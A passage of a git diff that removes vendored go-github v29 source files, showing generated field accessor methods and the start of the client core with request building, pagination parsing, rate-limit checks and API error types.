u.LDAPDN == nil { - return "" - } - return *u.LDAPDN -} - -// GetLogin returns the Login field if it's non-nil, zero value otherwise. -func (u *UserLDAPMapping) GetLogin() string { - if u == nil || u.Login == nil { - return "" - } - return *u.Login -} - -// GetOrganizationsURL returns the OrganizationsURL field if it's non-nil, zero value otherwise. -func (u *UserLDAPMapping) GetOrganizationsURL() string { - if u == nil || u.OrganizationsURL == nil { - return "" - } - return *u.OrganizationsURL -} - -// GetReceivedEventsURL returns the ReceivedEventsURL field if it's non-nil, zero value otherwise. -func (u *UserLDAPMapping) GetReceivedEventsURL() string { - if u == nil || u.ReceivedEventsURL == nil { - return "" - } - return *u.ReceivedEventsURL -} - -// GetReposURL returns the ReposURL field if it's non-nil, zero value otherwise. -func (u *UserLDAPMapping) GetReposURL() string { - if u == nil || u.ReposURL == nil { - return "" - } - return *u.ReposURL -} - -// GetSiteAdmin returns the SiteAdmin field if it's non-nil, zero value otherwise. -func (u *UserLDAPMapping) GetSiteAdmin() bool { - if u == nil || u.SiteAdmin == nil { - return false - } - return *u.SiteAdmin -} - -// GetStarredURL returns the StarredURL field if it's non-nil, zero value otherwise. -func (u *UserLDAPMapping) GetStarredURL() string { - if u == nil || u.StarredURL == nil { - return "" - } - return *u.StarredURL -} - -// GetSubscriptionsURL returns the SubscriptionsURL field if it's non-nil, zero value otherwise. -func (u *UserLDAPMapping) GetSubscriptionsURL() string { - if u == nil || u.SubscriptionsURL == nil { - return "" - } - return *u.SubscriptionsURL -} - -// GetType returns the Type field if it's non-nil, zero value otherwise. -func (u *UserLDAPMapping) GetType() string { - if u == nil || u.Type == nil { - return "" - } - return *u.Type -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (u *UserLDAPMapping) GetURL() string { - if u == nil || u.URL == nil { - return "" - } - return *u.URL -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (u *UserMigration) GetCreatedAt() string { - if u == nil || u.CreatedAt == nil { - return "" - } - return *u.CreatedAt -} - -// GetExcludeAttachments returns the ExcludeAttachments field if it's non-nil, zero value otherwise. -func (u *UserMigration) GetExcludeAttachments() bool { - if u == nil || u.ExcludeAttachments == nil { - return false - } - return *u.ExcludeAttachments -} - -// GetGUID returns the GUID field if it's non-nil, zero value otherwise. -func (u *UserMigration) GetGUID() string { - if u == nil || u.GUID == nil { - return "" - } - return *u.GUID -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (u *UserMigration) GetID() int64 { - if u == nil || u.ID == nil { - return 0 - } - return *u.ID -} - -// GetLockRepositories returns the LockRepositories field if it's non-nil, zero value otherwise. -func (u *UserMigration) GetLockRepositories() bool { - if u == nil || u.LockRepositories == nil { - return false - } - return *u.LockRepositories -} - -// GetState returns the State field if it's non-nil, zero value otherwise. -func (u *UserMigration) GetState() string { - if u == nil || u.State == nil { - return "" - } - return *u.State -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (u *UserMigration) GetUpdatedAt() string { - if u == nil || u.UpdatedAt == nil { - return "" - } - return *u.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (u *UserMigration) GetURL() string { - if u == nil || u.URL == nil { - return "" - } - return *u.URL -} - -// GetIncompleteResults returns the IncompleteResults field if it's non-nil, zero value otherwise. -func (u *UsersSearchResult) GetIncompleteResults() bool { - if u == nil || u.IncompleteResults == nil { - return false - } - return *u.IncompleteResults -} - -// GetTotal returns the Total field if it's non-nil, zero value otherwise. -func (u *UsersSearchResult) GetTotal() int { - if u == nil || u.Total == nil { - return 0 - } - return *u.Total -} - -// GetAdminUsers returns the AdminUsers field if it's non-nil, zero value otherwise. -func (u *UserStats) GetAdminUsers() int { - if u == nil || u.AdminUsers == nil { - return 0 - } - return *u.AdminUsers -} - -// GetSuspendedUsers returns the SuspendedUsers field if it's non-nil, zero value otherwise. -func (u *UserStats) GetSuspendedUsers() int { - if u == nil || u.SuspendedUsers == nil { - return 0 - } - return *u.SuspendedUsers -} - -// GetTotalUsers returns the TotalUsers field if it's non-nil, zero value otherwise. -func (u *UserStats) GetTotalUsers() int { - if u == nil || u.TotalUsers == nil { - return 0 - } - return *u.TotalUsers -} - -// GetReason returns the Reason field if it's non-nil, zero value otherwise. -func (u *UserSuspendOptions) GetReason() string { - if u == nil || u.Reason == nil { - return "" - } - return *u.Reason -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (w *WatchEvent) GetAction() string { - if w == nil || w.Action == nil { - return "" - } - return *w.Action -} - -// GetInstallation returns the Installation field. -func (w *WatchEvent) GetInstallation() *Installation { - if w == nil { - return nil - } - return w.Installation -} - -// GetRepo returns the Repo field. -func (w *WatchEvent) GetRepo() *Repository { - if w == nil { - return nil - } - return w.Repo -} - -// GetSender returns the Sender field. -func (w *WatchEvent) GetSender() *User { - if w == nil { - return nil - } - return w.Sender -} - -// GetEmail returns the Email field if it's non-nil, zero value otherwise. -func (w *WebHookAuthor) GetEmail() string { - if w == nil || w.Email == nil { - return "" - } - return *w.Email -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (w *WebHookAuthor) GetName() string { - if w == nil || w.Name == nil { - return "" - } - return *w.Name -} - -// GetUsername returns the Username field if it's non-nil, zero value otherwise. -func (w *WebHookAuthor) GetUsername() string { - if w == nil || w.Username == nil { - return "" - } - return *w.Username -} - -// GetAuthor returns the Author field. -func (w *WebHookCommit) GetAuthor() *WebHookAuthor { - if w == nil { - return nil - } - return w.Author -} - -// GetCommitter returns the Committer field. -func (w *WebHookCommit) GetCommitter() *WebHookAuthor { - if w == nil { - return nil - } - return w.Committer -} - -// GetDistinct returns the Distinct field if it's non-nil, zero value otherwise. -func (w *WebHookCommit) GetDistinct() bool { - if w == nil || w.Distinct == nil { - return false - } - return *w.Distinct -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (w *WebHookCommit) GetID() string { - if w == nil || w.ID == nil { - return "" - } - return *w.ID -} - -// GetMessage returns the Message field if it's non-nil, zero value otherwise. -func (w *WebHookCommit) GetMessage() string { - if w == nil || w.Message == nil { - return "" - } - return *w.Message -} - -// GetTimestamp returns the Timestamp field if it's non-nil, zero value otherwise. -func (w *WebHookCommit) GetTimestamp() time.Time { - if w == nil || w.Timestamp == nil { - return time.Time{} - } - return *w.Timestamp -} - -// GetAfter returns the After field if it's non-nil, zero value otherwise. -func (w *WebHookPayload) GetAfter() string { - if w == nil || w.After == nil { - return "" - } - return *w.After -} - -// GetBefore returns the Before field if it's non-nil, zero value otherwise. -func (w *WebHookPayload) GetBefore() string { - if w == nil || w.Before == nil { - return "" - } - return *w.Before -} - -// GetCompare returns the Compare field if it's non-nil, zero value otherwise. -func (w *WebHookPayload) GetCompare() string { - if w == nil || w.Compare == nil { - return "" - } - return *w.Compare -} - -// GetCreated returns the Created field if it's non-nil, zero value otherwise. -func (w *WebHookPayload) GetCreated() bool { - if w == nil || w.Created == nil { - return false - } - return *w.Created -} - -// GetDeleted returns the Deleted field if it's non-nil, zero value otherwise. -func (w *WebHookPayload) GetDeleted() bool { - if w == nil || w.Deleted == nil { - return false - } - return *w.Deleted -} - -// GetForced returns the Forced field if it's non-nil, zero value otherwise. -func (w *WebHookPayload) GetForced() bool { - if w == nil || w.Forced == nil { - return false - } - return *w.Forced -} - -// GetHeadCommit returns the HeadCommit field. -func (w *WebHookPayload) GetHeadCommit() *WebHookCommit { - if w == nil { - return nil - } - return w.HeadCommit -} - -// GetPusher returns the Pusher field. -func (w *WebHookPayload) GetPusher() *User { - if w == nil { - return nil - } - return w.Pusher -} - -// GetRef returns the Ref field if it's non-nil, zero value otherwise. -func (w *WebHookPayload) GetRef() string { - if w == nil || w.Ref == nil { - return "" - } - return *w.Ref -} - -// GetRepo returns the Repo field. -func (w *WebHookPayload) GetRepo() *Repository { - if w == nil { - return nil - } - return w.Repo -} - -// GetSender returns the Sender field. -func (w *WebHookPayload) GetSender() *User { - if w == nil { - return nil - } - return w.Sender -} - -// GetTotal returns the Total field if it's non-nil, zero value otherwise. -func (w *WeeklyCommitActivity) GetTotal() int { - if w == nil || w.Total == nil { - return 0 - } - return *w.Total -} - -// GetWeek returns the Week field if it's non-nil, zero value otherwise. -func (w *WeeklyCommitActivity) GetWeek() Timestamp { - if w == nil || w.Week == nil { - return Timestamp{} - } - return *w.Week -} - -// GetAdditions returns the Additions field if it's non-nil, zero value otherwise. -func (w *WeeklyStats) GetAdditions() int { - if w == nil || w.Additions == nil { - return 0 - } - return *w.Additions -} - -// GetCommits returns the Commits field if it's non-nil, zero value otherwise. -func (w *WeeklyStats) GetCommits() int { - if w == nil || w.Commits == nil { - return 0 - } - return *w.Commits -} - -// GetDeletions returns the Deletions field if it's non-nil, zero value otherwise. -func (w *WeeklyStats) GetDeletions() int { - if w == nil || w.Deletions == nil { - return 0 - } - return *w.Deletions -} - -// GetWeek returns the Week field if it's non-nil, zero value otherwise. -func (w *WeeklyStats) GetWeek() Timestamp { - if w == nil || w.Week == nil { - return Timestamp{} - } - return *w.Week -} diff --git a/vendor/github.com/google/go-github/v29/github/github.go b/vendor/github.com/google/go-github/v29/github/github.go deleted file mode 100644 index 3ea1f6adcd..0000000000 --- a/vendor/github.com/google/go-github/v29/github/github.go +++ /dev/null @@ -1,1056 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -//go:generate go run gen-accessors.go -//go:generate go run gen-stringify-test.go - -package github - -import ( - "bytes" - "context" - "encoding/json" - "errors" - "fmt" - "io" - "io/ioutil" - "net/http" - "net/url" - "reflect" - "strconv" - "strings" - "sync" - "time" - - "github.com/google/go-querystring/query" -) - -const ( - defaultBaseURL = "https://api.github.com/" - uploadBaseURL = "https://uploads.github.com/" - userAgent = "go-github" - - headerRateLimit = "X-RateLimit-Limit" - headerRateRemaining = "X-RateLimit-Remaining" - headerRateReset = "X-RateLimit-Reset" - headerOTP = "X-GitHub-OTP" - - mediaTypeV3 = "application/vnd.github.v3+json" - defaultMediaType = "application/octet-stream" - mediaTypeV3SHA = "application/vnd.github.v3.sha" - mediaTypeV3Diff = "application/vnd.github.v3.diff" - mediaTypeV3Patch = "application/vnd.github.v3.patch" - mediaTypeOrgPermissionRepo = "application/vnd.github.v3.repository+json" - - // Media Type values to access preview APIs - - // https://developer.github.com/changes/2014-12-09-new-attributes-for-stars-api/ - mediaTypeStarringPreview = "application/vnd.github.v3.star+json" - - // https://help.github.com/enterprise/2.4/admin/guides/migrations/exporting-the-github-com-organization-s-repositories/ - mediaTypeMigrationsPreview = "application/vnd.github.wyandotte-preview+json" - - // https://developer.github.com/changes/2016-04-06-deployment-and-deployment-status-enhancements/ - mediaTypeDeploymentStatusPreview = "application/vnd.github.ant-man-preview+json" - - // https://developer.github.com/changes/2018-10-16-deployments-environments-states-and-auto-inactive-updates/ - mediaTypeExpandDeploymentStatusPreview = "application/vnd.github.flash-preview+json" - - // https://developer.github.com/changes/2016-02-19-source-import-preview-api/ - mediaTypeImportPreview = "application/vnd.github.barred-rock-preview" - - // https://developer.github.com/changes/2016-05-12-reactions-api-preview/ - mediaTypeReactionsPreview = "application/vnd.github.squirrel-girl-preview" - - // https://developer.github.com/changes/2016-05-23-timeline-preview-api/ - mediaTypeTimelinePreview = "application/vnd.github.mockingbird-preview+json" - - // https://developer.github.com/changes/2016-09-14-projects-api/ - mediaTypeProjectsPreview = "application/vnd.github.inertia-preview+json" - - // https://developer.github.com/changes/2016-09-14-Integrations-Early-Access/ - mediaTypeIntegrationPreview = "application/vnd.github.machine-man-preview+json" - - // https://developer.github.com/changes/2017-01-05-commit-search-api/ - mediaTypeCommitSearchPreview = "application/vnd.github.cloak-preview+json" - - // https://developer.github.com/changes/2017-02-28-user-blocking-apis-and-webhook/ - mediaTypeBlockUsersPreview = "application/vnd.github.giant-sentry-fist-preview+json" - - // https://developer.github.com/changes/2017-02-09-community-health/ - mediaTypeRepositoryCommunityHealthMetricsPreview = "application/vnd.github.black-panther-preview+json" - - // https://developer.github.com/changes/2017-05-23-coc-api/ - mediaTypeCodesOfConductPreview = "application/vnd.github.scarlet-witch-preview+json" - - // https://developer.github.com/changes/2017-07-17-update-topics-on-repositories/ - mediaTypeTopicsPreview = "application/vnd.github.mercy-preview+json" - - // https://developer.github.com/changes/2018-03-16-protected-branches-required-approving-reviews/ - mediaTypeRequiredApprovingReviewsPreview = "application/vnd.github.luke-cage-preview+json" - - // https://developer.github.com/changes/2018-01-10-lock-reason-api-preview/ - mediaTypeLockReasonPreview = "application/vnd.github.sailor-v-preview+json" - - // https://developer.github.com/changes/2018-05-07-new-checks-api-public-beta/ - mediaTypeCheckRunsPreview = "application/vnd.github.antiope-preview+json" - - // https://developer.github.com/enterprise/2.13/v3/repos/pre_receive_hooks/ - mediaTypePreReceiveHooksPreview = "application/vnd.github.eye-scream-preview" - - // https://developer.github.com/changes/2018-02-22-protected-branches-required-signatures/ - mediaTypeSignaturePreview = "application/vnd.github.zzzax-preview+json" - - // https://developer.github.com/changes/2018-09-05-project-card-events/ - mediaTypeProjectCardDetailsPreview = "application/vnd.github.starfox-preview+json" - - // https://developer.github.com/changes/2018-12-18-interactions-preview/ - mediaTypeInteractionRestrictionsPreview = "application/vnd.github.sombra-preview+json" - - // https://developer.github.com/changes/2019-02-14-draft-pull-requests/ - mediaTypeDraftPreview = "application/vnd.github.shadow-cat-preview+json" - - // https://developer.github.com/changes/2019-03-14-enabling-disabling-pages/ - mediaTypeEnablePagesAPIPreview = "application/vnd.github.switcheroo-preview+json" - - // https://developer.github.com/changes/2019-04-24-vulnerability-alerts/ - mediaTypeRequiredVulnerabilityAlertsPreview = "application/vnd.github.dorian-preview+json" - - // https://developer.github.com/changes/2019-06-04-automated-security-fixes/ - mediaTypeRequiredAutomatedSecurityFixesPreview = "application/vnd.github.london-preview+json" - - // https://developer.github.com/changes/2019-05-29-update-branch-api/ - mediaTypeUpdatePullRequestBranchPreview = "application/vnd.github.lydian-preview+json" - - // https://developer.github.com/changes/2019-04-11-pulls-branches-for-commit/ - mediaTypeListPullsOrBranchesForCommitPreview = "application/vnd.github.groot-preview+json" - - // https://developer.github.com/v3/previews/#repository-creation-permissions - mediaTypeMemberAllowedRepoCreationTypePreview = "application/vnd.github.surtur-preview+json" - - // https://developer.github.com/v3/previews/#create-and-use-repository-templates - mediaTypeRepositoryTemplatePreview = "application/vnd.github.baptiste-preview+json" - - // https://developer.github.com/changes/2019-10-03-multi-line-comments/ - mediaTypeMultiLineCommentsPreview = "application/vnd.github.comfort-fade-preview+json" - - // https://developer.github.com/v3/repos/#create-a-repository-dispatch-event - mediaTypeRepositoryDispatchPreview = "application/vnd.github.everest-preview+json" -) - -// A Client manages communication with the GitHub API. -type Client struct { - clientMu sync.Mutex // clientMu protects the client during calls that modify the CheckRedirect func. - client *http.Client // HTTP client used to communicate with the API. - - // Base URL for API requests. Defaults to the public GitHub API, but can be - // set to a domain endpoint to use with GitHub Enterprise. BaseURL should - // always be specified with a trailing slash. - BaseURL *url.URL - - // Base URL for uploading files. - UploadURL *url.URL - - // User agent used when communicating with the GitHub API. - UserAgent string - - rateMu sync.Mutex - rateLimits [categories]Rate // Rate limits for the client as determined by the most recent API calls. - - common service // Reuse a single struct instead of allocating one for each service on the heap. - - // Services used for talking to different parts of the GitHub API. - Activity *ActivityService - Admin *AdminService - Apps *AppsService - Authorizations *AuthorizationsService - Checks *ChecksService - Gists *GistsService - Git *GitService - Gitignores *GitignoresService - Interactions *InteractionsService - Issues *IssuesService - Licenses *LicensesService - Marketplace *MarketplaceService - Migrations *MigrationService - Organizations *OrganizationsService - Projects *ProjectsService - PullRequests *PullRequestsService - Reactions *ReactionsService - Repositories *RepositoriesService - Search *SearchService - Teams *TeamsService - Users *UsersService -} - -type service struct { - client *Client -} - -// ListOptions specifies the optional parameters to various List methods that -// support pagination. -type ListOptions struct { - // For paginated result sets, page of results to retrieve. - Page int `url:"page,omitempty"` - - // For paginated result sets, the number of results to include per page. - PerPage int `url:"per_page,omitempty"` -} - -// UploadOptions specifies the parameters to methods that support uploads. -type UploadOptions struct { - Name string `url:"name,omitempty"` - Label string `url:"label,omitempty"` - MediaType string `url:"-"` -} - -// RawType represents type of raw format of a request instead of JSON. -type RawType uint8 - -const ( - // Diff format. - Diff RawType = 1 + iota - // Patch format. - Patch -) - -// RawOptions specifies parameters when user wants to get raw format of -// a response instead of JSON. -type RawOptions struct { - Type RawType -} - -// addOptions adds the parameters in opt as URL query parameters to s. opt -// must be a struct whose fields may contain "url" tags. -func addOptions(s string, opt interface{}) (string, error) { - v := reflect.ValueOf(opt) - if v.Kind() == reflect.Ptr && v.IsNil() { - return s, nil - } - - u, err := url.Parse(s) - if err != nil { - return s, err - } - - qs, err := query.Values(opt) - if err != nil { - return s, err - } - - u.RawQuery = qs.Encode() - return u.String(), nil -} - -// NewClient returns a new GitHub API client. If a nil httpClient is -// provided, a new http.Client will be used. To use API methods which require -// authentication, provide an http.Client that will perform the authentication -// for you (such as that provided by the golang.org/x/oauth2 library). -func NewClient(httpClient *http.Client) *Client { - if httpClient == nil { - httpClient = &http.Client{} - } - baseURL, _ := url.Parse(defaultBaseURL) - uploadURL, _ := url.Parse(uploadBaseURL) - - c := &Client{client: httpClient, BaseURL: baseURL, UserAgent: userAgent, UploadURL: uploadURL} - c.common.client = c - c.Activity = (*ActivityService)(&c.common) - c.Admin = (*AdminService)(&c.common) - c.Apps = (*AppsService)(&c.common) - c.Authorizations = (*AuthorizationsService)(&c.common) - c.Checks = (*ChecksService)(&c.common) - c.Gists = (*GistsService)(&c.common) - c.Git = (*GitService)(&c.common) - c.Gitignores = (*GitignoresService)(&c.common) - c.Interactions = (*InteractionsService)(&c.common) - c.Issues = (*IssuesService)(&c.common) - c.Licenses = (*LicensesService)(&c.common) - c.Marketplace = &MarketplaceService{client: c} - c.Migrations = (*MigrationService)(&c.common) - c.Organizations = (*OrganizationsService)(&c.common) - c.Projects = (*ProjectsService)(&c.common) - c.PullRequests = (*PullRequestsService)(&c.common) - c.Reactions = (*ReactionsService)(&c.common) - c.Repositories = (*RepositoriesService)(&c.common) - c.Search = (*SearchService)(&c.common) - c.Teams = (*TeamsService)(&c.common) - c.Users = (*UsersService)(&c.common) - return c -} - -// NewEnterpriseClient returns a new GitHub API client with provided -// base URL and upload URL (often the same URL and is your GitHub Enterprise hostname). -// If either URL does not have the suffix "/api/v3/", it will be added automatically. -// If a nil httpClient is provided, http.DefaultClient will be used. -// -// Note that NewEnterpriseClient is a convenience helper only; -// its behavior is equivalent to using NewClient, followed by setting -// the BaseURL and UploadURL fields. -// -// Another important thing is that by default, the GitHub Enterprise URL format -// should be http(s)://[hostname]/api/v3 or you will always receive the 406 status code. -func NewEnterpriseClient(baseURL, uploadURL string, httpClient *http.Client) (*Client, error) { - baseEndpoint, err := url.Parse(baseURL) - if err != nil { - return nil, err - } - if !strings.HasSuffix(baseEndpoint.Path, "/") { - baseEndpoint.Path += "/" - } - if !strings.HasSuffix(baseEndpoint.Path, "/api/v3/") { - baseEndpoint.Path += "api/v3/" - } - - uploadEndpoint, err := url.Parse(uploadURL) - if err != nil { - return nil, err - } - if !strings.HasSuffix(uploadEndpoint.Path, "/") { - uploadEndpoint.Path += "/" - } - if !strings.HasSuffix(uploadEndpoint.Path, "/api/v3/") { - uploadEndpoint.Path += "api/v3/" - } - - c := NewClient(httpClient) - c.BaseURL = baseEndpoint - c.UploadURL = uploadEndpoint - return c, nil -} - -// NewRequest creates an API request. A relative URL can be provided in urlStr, -// in which case it is resolved relative to the BaseURL of the Client. -// Relative URLs should always be specified without a preceding slash. If -// specified, the value pointed to by body is JSON encoded and included as the -// request body. -func (c *Client) NewRequest(method, urlStr string, body interface{}) (*http.Request, error) { - if !strings.HasSuffix(c.BaseURL.Path, "/") { - return nil, fmt.Errorf("BaseURL must have a trailing slash, but %q does not", c.BaseURL) - } - u, err := c.BaseURL.Parse(urlStr) - if err != nil { - return nil, err - } - - var buf io.ReadWriter - if body != nil { - buf = new(bytes.Buffer) - enc := json.NewEncoder(buf) - enc.SetEscapeHTML(false) - err := enc.Encode(body) - if err != nil { - return nil, err - } - } - - req, err := http.NewRequest(method, u.String(), buf) - if err != nil { - return nil, err - } - - if body != nil { - req.Header.Set("Content-Type", "application/json") - } - req.Header.Set("Accept", mediaTypeV3) - if c.UserAgent != "" { - req.Header.Set("User-Agent", c.UserAgent) - } - return req, nil -} - -// NewUploadRequest creates an upload request. A relative URL can be provided in -// urlStr, in which case it is resolved relative to the UploadURL of the Client. -// Relative URLs should always be specified without a preceding slash. -func (c *Client) NewUploadRequest(urlStr string, reader io.Reader, size int64, mediaType string) (*http.Request, error) { - if !strings.HasSuffix(c.UploadURL.Path, "/") { - return nil, fmt.Errorf("UploadURL must have a trailing slash, but %q does not", c.UploadURL) - } - u, err := c.UploadURL.Parse(urlStr) - if err != nil { - return nil, err - } - - req, err := http.NewRequest("POST", u.String(), reader) - if err != nil { - return nil, err - } - req.ContentLength = size - - if mediaType == "" { - mediaType = defaultMediaType - } - req.Header.Set("Content-Type", mediaType) - req.Header.Set("Accept", mediaTypeV3) - req.Header.Set("User-Agent", c.UserAgent) - return req, nil -} - -// Response is a GitHub API response. This wraps the standard http.Response -// returned from GitHub and provides convenient access to things like -// pagination links. -type Response struct { - *http.Response - - // These fields provide the page values for paginating through a set of - // results. Any or all of these may be set to the zero value for - // responses that are not part of a paginated set, or for which there - // are no additional pages. - - NextPage int - PrevPage int - FirstPage int - LastPage int - - // Explicitly specify the Rate type so Rate's String() receiver doesn't - // propagate to Response. - Rate Rate -} - -// newResponse creates a new Response for the provided http.Response. -// r must not be nil. -func newResponse(r *http.Response) *Response { - response := &Response{Response: r} - response.populatePageValues() - response.Rate = parseRate(r) - return response -} - -// populatePageValues parses the HTTP Link response headers and populates the -// various pagination link values in the Response. -func (r *Response) populatePageValues() { - if links, ok := r.Response.Header["Link"]; ok && len(links) > 0 { - for _, link := range strings.Split(links[0], ",") { - segments := strings.Split(strings.TrimSpace(link), ";") - - // link must at least have href and rel - if len(segments) < 2 { - continue - } - - // ensure href is properly formatted - if !strings.HasPrefix(segments[0], "<") || !strings.HasSuffix(segments[0], ">") { - continue - } - - // try to pull out page parameter - url, err := url.Parse(segments[0][1 : len(segments[0])-1]) - if err != nil { - continue - } - page := url.Query().Get("page") - if page == "" { - continue - } - - for _, segment := range segments[1:] { - switch strings.TrimSpace(segment) { - case `rel="next"`: - r.NextPage, _ = strconv.Atoi(page) - case `rel="prev"`: - r.PrevPage, _ = strconv.Atoi(page) - case `rel="first"`: - r.FirstPage, _ = strconv.Atoi(page) - case `rel="last"`: - r.LastPage, _ = strconv.Atoi(page) - } - - } - } - } -} - -// parseRate parses the rate related headers. -func parseRate(r *http.Response) Rate { - var rate Rate - if limit := r.Header.Get(headerRateLimit); limit != "" { - rate.Limit, _ = strconv.Atoi(limit) - } - if remaining := r.Header.Get(headerRateRemaining); remaining != "" { - rate.Remaining, _ = strconv.Atoi(remaining) - } - if reset := r.Header.Get(headerRateReset); reset != "" { - if v, _ := strconv.ParseInt(reset, 10, 64); v != 0 { - rate.Reset = Timestamp{time.Unix(v, 0)} - } - } - return rate -} - -// Do sends an API request and returns the API response. The API response is -// JSON decoded and stored in the value pointed to by v, or returned as an -// error if an API error has occurred. If v implements the io.Writer -// interface, the raw response body will be written to v, without attempting to -// first decode it. If rate limit is exceeded and reset time is in the future, -// Do returns *RateLimitError immediately without making a network API call. -// -// The provided ctx must be non-nil, if it is nil an error is returned. If it is canceled or times out, -// ctx.Err() will be returned. -func (c *Client) Do(ctx context.Context, req *http.Request, v interface{}) (*Response, error) { - if ctx == nil { - return nil, errors.New("context must be non-nil") - } - req = withContext(ctx, req) - - rateLimitCategory := category(req.URL.Path) - - // If we've hit rate limit, don't make further requests before Reset time. - if err := c.checkRateLimitBeforeDo(req, rateLimitCategory); err != nil { - return &Response{ - Response: err.Response, - Rate: err.Rate, - }, err - } - - resp, err := c.client.Do(req) - if err != nil { - // If we got an error, and the context has been canceled, - // the context's error is probably more useful. - select { - case <-ctx.Done(): - return nil, ctx.Err() - default: - } - - // If the error type is *url.Error, sanitize its URL before returning. - if e, ok := err.(*url.Error); ok { - if url, err := url.Parse(e.URL); err == nil { - e.URL = sanitizeURL(url).String() - return nil, e - } - } - - return nil, err - } - defer resp.Body.Close() - - response := newResponse(resp) - - c.rateMu.Lock() - c.rateLimits[rateLimitCategory] = response.Rate - c.rateMu.Unlock() - - err = CheckResponse(resp) - if err != nil { - // Special case for AcceptedErrors. If an AcceptedError - // has been encountered, the response's payload will be - // added to the AcceptedError and returned. - // - // Issue #1022 - aerr, ok := err.(*AcceptedError) - if ok { - b, readErr := ioutil.ReadAll(resp.Body) - if readErr != nil { - return response, readErr - } - - aerr.Raw = b - return response, aerr - } - - return response, err - } - - if v != nil { - if w, ok := v.(io.Writer); ok { - io.Copy(w, resp.Body) - } else { - decErr := json.NewDecoder(resp.Body).Decode(v) - if decErr == io.EOF { - decErr = nil // ignore EOF errors caused by empty response body - } - if decErr != nil { - err = decErr - } - } - } - - return response, err -} - -// checkRateLimitBeforeDo does not make any network calls, but uses existing knowledge from -// current client state in order to quickly check if *RateLimitError can be immediately returned -// from Client.Do, and if so, returns it so that Client.Do can skip making a network API call unnecessarily. -// Otherwise it returns nil, and Client.Do should proceed normally. -func (c *Client) checkRateLimitBeforeDo(req *http.Request, rateLimitCategory rateLimitCategory) *RateLimitError { - c.rateMu.Lock() - rate := c.rateLimits[rateLimitCategory] - c.rateMu.Unlock() - if !rate.Reset.Time.IsZero() && rate.Remaining == 0 && time.Now().Before(rate.Reset.Time) { - // Create a fake response. - resp := &http.Response{ - Status: http.StatusText(http.StatusForbidden), - StatusCode: http.StatusForbidden, - Request: req, - Header: make(http.Header), - Body: ioutil.NopCloser(strings.NewReader("")), - } - return &RateLimitError{ - Rate: rate, - Response: resp, - Message: fmt.Sprintf("API rate limit of %v still exceeded until %v, not making remote request.", rate.Limit, rate.Reset.Time), - } - } - - return nil -} - -/* -An ErrorResponse reports one or more errors caused by an API request. - -GitHub API docs: https://developer.github.com/v3/#client-errors -*/ -type ErrorResponse struct { - Response *http.Response // HTTP response that caused this error - Message string `json:"message"` // error message - Errors []Error `json:"errors"` // more detail on individual errors - // Block is only populated on certain types of errors such as code 451. - // See https://developer.github.com/changes/2016-03-17-the-451-status-code-is-now-supported/ - // for more information. - Block *struct { - Reason string `json:"reason,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - } `json:"block,omitempty"` - // Most errors will also include a documentation_url field pointing - // to some content that might help you resolve the error, see - // https://developer.github.com/v3/#client-errors - DocumentationURL string `json:"documentation_url,omitempty"` -} - -func (r *ErrorResponse) Error() string { - return fmt.Sprintf("%v %v: %d %v %+v", - r.Response.Request.Method, sanitizeURL(r.Response.Request.URL), - r.Response.StatusCode, r.Message, r.Errors) -} - -// TwoFactorAuthError occurs when using HTTP Basic Authentication for a user -// that has two-factor authentication enabled. The request can be reattempted -// by providing a one-time password in the request. -type TwoFactorAuthError ErrorResponse - -func (r *TwoFactorAuthError) Error() string { return (*ErrorResponse)(r).Error() } - -// RateLimitError occurs when GitHub returns 403 Forbidden response with a rate limit -// remaining value of 0. -type RateLimitError struct { - Rate Rate // Rate specifies last known rate limit for the client - Response *http.Response // HTTP response that caused this error - Message string `json:"message"` // error message -} - -func (r *RateLimitError) Error() string { - return fmt.Sprintf("%v %v: %d %v %v", - r.Response.Request.Method, sanitizeURL(r.Response.Request.URL), - r.Response.StatusCode, r.Message, formatRateReset(time.Until(r.Rate.Reset.Time))) -} - -// AcceptedError occurs when GitHub returns 202 Accepted response with an -// empty body, which means a job was scheduled on the GitHub side to process -// the information needed and cache it. -// Technically, 202 Accepted is not a real error, it's just used to -// indicate that results are not ready yet, but should be available soon. -// The request can be repeated after some time. -type AcceptedError struct { - // Raw contains the response body. - Raw []byte -} - -func (*AcceptedError) Error() string { - return "job scheduled on GitHub side; try again later" -} - -// AbuseRateLimitError occurs when GitHub returns 403 Forbidden response with the -// "documentation_url" field value equal to "https://developer.github.com/v3/#abuse-rate-limits". -type AbuseRateLimitError struct { - Response *http.Response // HTTP response that caused this error - Message string `json:"message"` // error message - - // RetryAfter is provided with some abuse rate limit errors. If present, - // it is the amount of time that the client should wait before retrying. - // Otherwise, the client should try again later (after an unspecified amount of time). - RetryAfter *time.Duration -} - -func (r *AbuseRateLimitError) Error() string { - return fmt.Sprintf("%v %v: %d %v", - r.Response.Request.Method, sanitizeURL(r.Response.Request.URL), - r.Response.StatusCode, r.Message) -} - -// sanitizeURL redacts the client_secret parameter from the URL which may be -// exposed to the user. -func sanitizeURL(uri *url.URL) *url.URL { - if uri == nil { - return nil - } - params := uri.Query() - if len(params.Get("client_secret")) > 0 { - params.Set("client_secret", "REDACTED") - uri.RawQuery = params.Encode() - } - return uri -} - -/* -An Error reports more details on an individual error in an ErrorResponse. -These are the possible validation error codes: - - missing: - resource does not exist - missing_field: - a required field on a resource has not been set - invalid: - the formatting of a field is invalid - already_exists: - another resource has the same valid as this field - custom: - some resources return this (e.g. github.User.CreateKey()), additional - information is set in the Message field of the Error - -GitHub error responses structure are often undocumented and inconsistent. -Sometimes error is just a simple string (Issue #540). -In such cases, Message represents an error message as a workaround. - -GitHub API docs: https://developer.github.com/v3/#client-errors -*/ -type Error struct { - Resource string `json:"resource"` // resource on which the error occurred - Field string `json:"field"` // field on which the error occurred - Code string `json:"code"` // validation error code - Message string `json:"message"` // Message describing the error. Errors with Code == "custom" will always have this set. -} - -func (e *Error) Error() string { - return fmt.Sprintf("%v error caused by %v field on %v resource", - e.Code, 